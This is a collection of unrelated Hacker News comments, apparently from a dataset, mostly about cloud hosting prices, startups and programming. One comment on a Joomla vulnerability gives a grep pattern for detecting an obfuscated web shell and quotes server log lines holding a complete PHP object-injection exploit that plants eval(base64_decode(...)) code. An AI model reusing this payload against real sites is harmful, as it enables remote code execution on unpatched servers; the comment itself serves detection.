skysight-inc/HackerNews huggingface dataset:
From TFA:

> The t2.nano offers the full performance of a high frequency Intel CPU core if your workload utilizes less than 5% of the core on average over 24 hours.

This means you get the full CPU if you have a bursty workload, and really is no different from what DO's policy is:

> We do not set a cap on CPU usage by default but we do monitor for droplets doing a consistent 100% CPU and may CPU limit droplets displaying this behavior.

In the EC2 case, the CPU throttling policy is just explicit.

[1] https://www.digitalocean.com/community/questions/cpu-usage-a...
Silicon Valley has definitely become more of an insider's game. Just look at the recent crop of VCs whose primary credential is membership in the Lucky Sperm Club. Pretty soon, 'society' bs will pick winners as much as talent and hard work.
Just use Rust....
Curious as to how one would outgrow DO.
In case you haven't encountered this attack, basically anything from Joomla 1.5 to 3.4.5 is vulnerable.

The payload I have seen is FilesMan, and it has a recognizable gzinflate(base64_decode( part encoded, so this should find them:
grep -rl '\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28' --include=\*.php .

The exploit goes like this (snippet from Apache2 logs, enjoy):

XXX.XXX.XXX.XXX - - [14/Dec/2015:21:17:53 +0100] "GET / HTTP/1.1" 200 6219 "http://google.com/" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
XXX.XXX.XXX.XXX - - [14/Dec/2015:21:17:55 +0100] "POST / HTTP/1.1" 200 10276 "http://google.com/" "Mozilla/5.0 (X11; CrOS x86_64 6310.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.96 Safari/537.36"

They send the User-Agent header with the exploit code, which allows them to do a subsequent POST with a better payload, although I have observed simple phpinfo() calls too.
The recent IPs I have seen are Tor exit nodes, but ymmv.
The unemployment numbers are a joke. Look at employment ratios for a better sense of what things look like:

https://research.stlouisfed.org/fred2/series/EMRATIO
We've been running this open source code in production for about a year. Works great, but not sure it's really news...
I agree, though I don't like the idea of them having a copy of my private key; wouldn't it make more sense for you to give them a copy of your public key after verifying that you are who you say you are, initially?
This is text-book Kolmogorov complexity. https://en.wikipedia.org/wiki/Kolmogorov_complexity
Westpac Password Reset Phishing Scam – MailShark
No centralized firewall (security groups), no ELBS, no EBS, no autoscaling, no ElastiCache, no RDS... Do I need to continue?
I thought web assembly was going to be the main part of Node++.

Anyway I would look into Nim or Go if you want a more efficient webserver.
Your votes going into a permanent public ledger seems like a bad idea, and the decentralized part seems not useful. Building this on the block chain seems like a solution in search of a problem. But surely they've given it some thought - what am I missing?
Fair point, and no. Someone might be able to find some, and I'd be glad to see anything you might find!
I tried to find more details, this is the best I found ...

More info: http://indico.cern.ch/event/442432/

From the pdf of CMS, page 53: "Local p-value: 2.5σ @ 760 GeV"

From the pdf of ATLAS, page 44: "an excess of 3.6σ (local) is observed at a mass hypothesis of minimal p0 of 750 GeV"
Show HN: Streaks Workout – A Workout App for iPhone and Apple TV
I had the opposite experience (illustrating that our stories are just anecdotal), but I don't blame Product Hunt at all -- I was grateful for the chance to be featured on their main page. My Show HN brought ~6K visitors in the first two days where my PH post brought <1K. I didn't know anyone, just emailed their team and... added PH to the extension (no one asked me to, just thought it'd be cool).

[1] Show HN: https://news.ycombinator.com/item?id=9992735
[2] PH: https://www.producthunt.com/tech/kiwi-conversations

Admittedly, it was a bit humbling to see a cat "meow" soundboard quickly surpass my project on PH -- but like I said, no regrets.
I disagree. The distinction is worth pointing out, and he's right. Angular is more than just the view layer (directives). It provides the structure for the rest of your app. Other tech like Knockout.js is more comparable to React, as it's only solving the view layer problem.
Everyday Health | Front End Engineer, Custom Solutions | New York, NY | Onsite | Full-time

At Everyday Health, our mission is to empower people to live their healthiest lives every day. To that end, we build solutions to help consumers connect with the right products that will help them take charge of their lives and be bigger than their condition. Whether Diabetes, MS, RA, Cancer, or any other health condition, we build products to help people to get the most out of life, no matter where they are in their patient journey, and no matter what condition they might have.

We're looking for a Front End Engineer with a passion for health care, who wants to make a difference in people's lives and make a real impact at our organization.

We're publicly traded (NYSE: EVDY), have free fruit, awesome coffee machines, tea, and an awesome team dedicated to doing the right thing for people.

If this sounds great to you, e-mail pflor -at- everydayhealth -dot- com with your cover letter and resume. We'd love to have you!
> Babai (the author) has a very small Erdos number

Let's quit beating around the bush: he has the smallest possible Erdős number[1]. If you don't presently have an Erdős number, or wish to improve your Erdős number for bragging rights, co-authoring a paper with him (or any anyone with an equivalent Erdős number) is the best possible outcome. (Obtaining an Erdős number of one is sadly no longer possible.)

[1]: https://en.wikipedia.org/wiki/Erd%C5%91s_number
Hoover et al can build their product however they want, just be honest and consistent.

Looking through old threads I found this cracker of a post in reply to Ryan about their "anti voter ring policy" - which his tweet seems to counteract. https://news.ycombinator.com/item?id=9932641
I sure hope that audio clicking and popping would also smooth out.
I was under the impression that today's VC guys were tech startup founders themselves 15 years ago. Is that incorrect?
x86 is by design an imperative abstraction. It makes sense for it to be Turing-complete. Very few imperative abstractions are not (the only one that comes to mind is DTrace's D Language).

CSS is primarily a declarative abstraction that grew complex enough to be Turing-complete. You would hope that by paying that complexity you would at least get an abstraction that was convenient enough to write by hand. But CSS has neither the static-analysis benefits of a non-Turing-complete language nor the convenience benefits of a fully Turing-complete language.
Let's Create a Better Product Hunt
Profile Guided Optimisation is the search term you're looking for. For one example: GCC does it (you may need to use gprof as well, can't really remember).
There's a trade-off between how much they allow you to spike and how long they allow you to spike for. They could have 20 t2.nano instances packed onto one CPU; the longer you can spike for, the more likely it is that another instance is going to end up spiking at the same time as you. I'm sure Amazon has looked at the CPU-usage behaviour of millions of EC2 instances -- quite likely across hundreds of billions of data points -- and picked this as a reasonable tradeoff.

For your use case, I think autoscaling is probably the answer. Keep one t2.nano running continuously but tell EC2 to spin up a new t2.large if you get a burst of traffic.
They basically have one valve they can turn. The model is too simple.
No real reason to use Linode any more, either. The AWS skill set is valuable in the industry and using it for your personal stuff gives you a leg up careerwise.

My AWS skills (VPC architecture, Direct Connect, boto, etc.) have been a big hiring plus for me in the past. Since nobody relevant uses Linode for production any more due to security and other issues, probably time to move personal blogs and accrue transferable skills.

People also compare the big holy wow bandwidth/SSD/CPU offered by DO and Linode without accounting for the fact that you could almost never use it all at the price point without hitting (a) capacities of the instance and (b) annoyed employees. Jeff's data on how successful their CPU quota accounting is backs this up. If you're pegging a core in your workload you should probably own the core.

Seriously, think about it. DO offers you a terabyte on the low end plan. You have to sustain 3 megabit/sec every second of every day to hit that. Maybe in some scenarios you are, but almost nobody running personal gear is doing that. The higher levels are even more ridiculous. But the sales stuff works: people are concerned about it in this thread, merely the potential to use instead of paying for actual.
This is honest, clear, and on the mark. Disregarding people's feelings isn't cool. Being an asshole isn't cool. I think those traits are orthogonal to skill, and only imply immaturity.
Having been hit by AWS's CPU cap before (on the t2.micro instance type) and having used many other providers, I can tell you firsthand that AWS's CPU limits are MUCH lower than their competitors'. In our case, a sustained usage of about 15% CPU caused our VM to eventually be starved of CPU time, which in turn crashed the software running on it.

I've never dealt with stricter CPU limits than AWS's. Most providers will not be happy if you peg an entire core to 100% (after all, the physical cores are oversold), but they usually don't mind if the percentage is even as big as 50%.
Those aren't all strictly necessary or necessarily provided by hosting service in order to grow, tho?
Yea, and the reference links were interesting too. The LZSS youtube video was an enjoyable watch.
Obligatory link:

Why Electronic Voting is a BAD Idea - Computerphile
https://www.youtube.com/watch?v=w3_0x6oaDmI
Appreciate your work Dan, just saying that I can see why people stray from the "perfectly good" community: because when it comes time to finally have your launch moment, it's so tough on HN. And I bet it feels like a kick in the guts for people who've slaved over their app and finally talked themselves into showing people what they've been working on.

And it's tougher again without asking friends to give you a boost and if you're outside the main active timezones.

If there was a top bracket or sidebar that helped bring Show/Ask topics to the attention of all users, that would help IMO. There's also no incentive to upvote topics, no explicit messaging "Should this make HN front page for a bit?" or "Was this good?", so I bet many don't hit the arrow.
I think depends on the medicine. Like fixing a bullet wound, some medicines obviously work and you don't need a study to know that (for blood pressure, insulin, severe pain, etc). But those are perhaps the ones we take for granted and don't really include when we think about the idea of medicine being bunk.

What's more suspicious is medicine that people use just because they're in a culture of taking medicine for everything. Reliefs for colds, coughs, mild pain, sore throat, psychological problems, etc. These illnesses have a strong get-better-anyway effect so it's very easy for people to believe that whatever they took cured them. Don't believe me? Go to China and you'll see people taking herb drinks for the same illnesses and having just as much faith in their effectiveness. Other popular cures include drinking warm water and "growing a pair".
> Never understood why people liked React so much. I don't know why, but mixing javascript and HTML just looks... gross.

But you never write HTML with JSX, that's the point. XML like syntax is just sugar that gets transformed into functions. This is not HTML. With angular you need to use string templates which cannot be easily validated by IDEs for instance. JSX syntax validation is straight forward because it's directly integrated in the language.
Best of all, I found this article on....Yahoo.
How many times are you going to be spending an hour to write 50 lines of code? Is the code going to stay at 50 lines? If the answer is "one or two or three" and "yes" than ya... do it however.
>I actually hate Javascript. And Java. Including Java 8 (for all the shit it, wisely, keeps around).

Could you give me an example of any technology which you don't hate?
Using Homebridge to Control a Raspberry Pi LED
Could you get a physical token with a random key that is unknown? Some ECC can make use of random bits as a private key.
They use letsencrypt https://community.letsencrypt.org/t/frequently-asked-questio...
Actually, source maps and browser based debugging are quite good. They aren't as good as Java debugger, but good enough. I am working on a large scale project which uses GWT, and we are absolutely ok with source map debugging.
perhaps it's less of an issue in delphi (and pascal) since parameters that change in procedures have the var keyword?

In practice it doesn't seem to cause issues since pretty well every thing is a pointer, the only time it causes a problem is if you're using records. The compiler does catch this but, yes, in this case it is sub optimal. It's a trade off I suppose - 95-99.9% of the time your using classes so the '.' is everywhere rather than ->.
Hey Ray! Glad to see the GWT team is still making strides :)
Well, yeah, that'd make more sense; I guess that was more along the lines of what I meant to say. Generally speaking, the idea is that the DMV (or some other government entity) would act as a CA for all of its citizens.
Not trying to draw a comparison between traffic levels, but saying that it's very easy to submit and bomb on HN, and so drive users to an alternative as their next hope. Obviously some people submit anywhere and everywhere.

But if HN is a home to many of us, it'd be nice if it was also a viable testing ground for our new projects, feedback, etc.
Hacking the iPod: How I Earned $65K in High School (2012)
Batteries are heavy, lifting them with aircraft is significantly inefficient.
Or and more likely, the cash register allowed more people who could not previously be cashiers due to poor math skills or whatever else, become cashiers. This in-turn increases the supply of cashiers, while making the job easier, ultimately leading to downward pressure on cashiers' wages.

Which brings us to where we are today, the lack of need for any cashier, please tell me you've used a You-Scan before. What do the wages look like for the cashiers who have been replaced by robot and self-service?
Nope, it's really just an off-the-cuff thought I've had, not something I've put serious thought into the implementation of or tried to pitch to anyone.
Ya - I think #1 is crap. If it gets upvoted then let it stay. Let the people decide what they want - not one person. IF that's the case, just get rid of upvoting completely and make this all about the mods.
I don't know about seriously but I used to like it a lot more when it was just a list of new apps and sites. Now there is a bunch of big pictures I ignore and a narrow band of 4-5 apps and a bunch of other stuff I don't go to producthunt for.
I guess if you're going to argue against MVC, you have to figure out what MVC means first. The original MVC isn't the same as many of the popular MVCs we have today:

https://github.com/ciscoheat/mithril-hx/wiki/Rediscovering-M...
https://heim.ifi.uio.no/~trygver/2007/MVC_Originals.pdf
I'd really like to see autonomous watches with GPS, providing minimal smartphone functionality (navigation, calls and messages), plus serious fitness tracking.

But at the same time I'm hesitant to wear one of those devices without reasonable guarantees big brother is not collecting data. Therefore, something like AsteroidOS seems ideal: http://asteroidos.org/
I'd rather pay slightly more for an ovh server and not have to worry about nickeling and diming... And whether my system will crash overnight because it needs more than 1 gig of RAM
I think Product Hunt merely reflects the way things work in SV. SV is not a "meritocracy". Really shitty ideas get funded and acqui-hired all the time based on insider connections. You think Marissa bought Polyvore for $230 million because it was a rocket ship?
In the search for new models I've always been partial to the inclusion of credit (marked to market) as a factor in predicting inflation, instead of just money supply. This at least correctly predicted low-to-no inflation post-financial-crisis despite massive increases in the money supply.

http://www.economicsjunkie.com/inflation-deflation-revisited... has some good explanations of why.

There's also what you measure: consumer prices do not reflect increases in asset prices, and the latter have grown very quickly in the past few years (as credit has recovered).
Yes, im sure a idea like this this would need much more work, and research, to see even if its reasonable, then if it would be considered to be possible, a lot of little details would need to be solved, to make things really work out.

Im sure this is a very tricky issue.. But if the US government would be really willing to do something like this, which i think is really unlikely in reality, they might sophisticate ideas like this further down, and maybe get experiments like this to work well, and solve some hard problems along the way.

You would be basically, importing "human energy".. Also of course, maybe start small, and try to attract locals from other regions first, making some things easier, like credit.. anyway this is getting out of control here.. heh, stopping now before is too late.
See: why I will vehemently avoid all future Drupal projects (1 was enough)
YourKefirSource.com
Find out what kefir is and its health benefits. Read about its amazing health benefits and learn how to make your own healthy kefir. Check out your kefir source for more facts!
It's interesting how all these top companies insist on JS expertise, I didn't know that it was so important for an interview and that's something I need to work on.
You've outgrown the micro. The strict CPU accounting doesn't exist beyond the micro and the nano. I regularly pegged every core offered on 4xls and what not and never heard a peep from Amazon over several years.

My point is this is an instance type thing, not a provider thing as you've extrapolated. They're experimenting with vast overselling on those instance types and it's not across the board.
Only if you're not actually using that instance!

You can't even log into the instance at all for that price. You also have to pay for bandwidth (very expensive) and EBS (not bad, unless you want it to be as fast as DO's local SSD).

Setting aside that the DO droplets are far more bang for the buck in terms of consistent CPU usage, and also (to be fair) that AWS offers far more scalability options, bandwidth alone is shockingly expensive at AWS.

At 9 cents per GB, you'd be looking at $90/mo for bandwidth alone for what DO gives you included in the $5/mo.

The $80/mo Digital Ocean server w/ 5TB of transfer would cost $450 at EC2 JUST IN BANDWIDTH ALONE!!

And, at DO, if you exceed that bandwidth allocation that's included for free, it's $20/TB vs $90/TB at EC2 (both charge outgoing only).

These are costs that most people don't consider but really amount to poorly explained fine print costs. (Others include Glacier restore pricing, intra-region bandwidth, etc.)

(disclaimer: I'm an AWS certified SA and my SSH key manager startup, Userify[1], is an AWS partner, but even so we are still forced to use DO for a large part of our infrastructure -- especially where bandwidth is concerned.)

1. https://userify.com (cloud ssh key management)
There is j2objc, which is a sister project to the new compiler. J2ObjC is the compiler behind Google Inbox and Google Spreadsheets on iOS.

It doesn't go to LLVM, it goes straight to ObjC/C. You can then import this into any XCode project.
I'm a recruiter and I sometimes say that "recruiting is the business of rejection".

At any given moment I might have between 5 to 20 possible jobs that I'm searching for people for. In a given week I might receive 1,000 applicants.

It is incredibly hard to get anyone into a job and often great people are rejected for various reasons.

The Business of Rejection - that's recruiting.
I think "they" in your story are more responsible for building the Internet than "we" are.
> Most providers will not be happy if you peg an entire core to 100% (after all, the physical cores are oversold)

On anything that isn't a t1/t2 instance, AWS doesn't care a bit if you're pegged at 100% all month long.
Looks like (so far) nearly half the people shown wound up at twitter. Apply to twitter first?
It still is excellent, because it reduces both the granularity and baseline cost of an autoscaling setup which is probably what you want for your use case.
If you have no JavaScript these days then largely you can forget job hunting.

If you have awesome, expert, deep, deep JavaScript then firstly you might as well be a unicorn but secondly, you will get a job.
I think 'human trafficking' is a victim of it's own success. Because modern slavery is called trafficking, people think slavery doesn't exist anymore. A concerted effort to teach 'modern day slavery' alongside education about historical slavery will help increase awareness about it.

I also know that things like forced labor, indentured servitude and so on were considered slavery in the past too. Legal prostitution and child labor (like paper routes) are not called trafficking today, and the coerced & illegal versions were called slavery back then.

Trafficking also sounds like human smuggling. And many people who were smuggled out a bad country and ended up as refugees/illegal immigrants at a better country don't like human sex slavery being lumped together with voluntary smuggling.

This is why I suggest calling it slavery and using it as part of the media narrative, complete with john stossel style 20/20 expose's and 60 minute specials introducing it.
I've been meaning to take a closer look at http://concourse.ci/ at some point. It looks like it could be a viable alternative to Jenkins for many things.
And to use 5TB in a month you have to sustain over 15 megabit/sec 24 hours a day. DO is betting on you not doing that (and in aggregate nobody does), because in any other context sustaining 15 megabit is about as expensive as Amazon. Quote a 100 megabit drop some time if you don't believe me.

If every VPS on Digital Ocean and Linode actually used their quota, they wouldn't have uplink capacity to support it and the network would fail. That's overselling. Numbers that high are extensive overselling. Linode has 40 Gbit links (at least they used to), and give 2 TB (6 Mbps) to each small Linode, meaning about 7,000 Linodes actually using the quota would saturate the link. They have a few more than that. Do the math.

The bandwidth quotas are sales stuff so that you will say exactly this in threads like these, and it's amazing how well it works.
It would have been a lot easier to simply take the blue pill, if anyone honestly believes this does not all come to a head I wish you the best in your blissful ignorance
Oh I get it, the Dockers lead to the multi-year global commodity glut, well that's a stunner..

Truthfully: it does amaze how the lens we use to view the world, shapes the picture we see.
Congress Drops All Pretense: Quietly Turns CISA into a Full on Surveillance Bill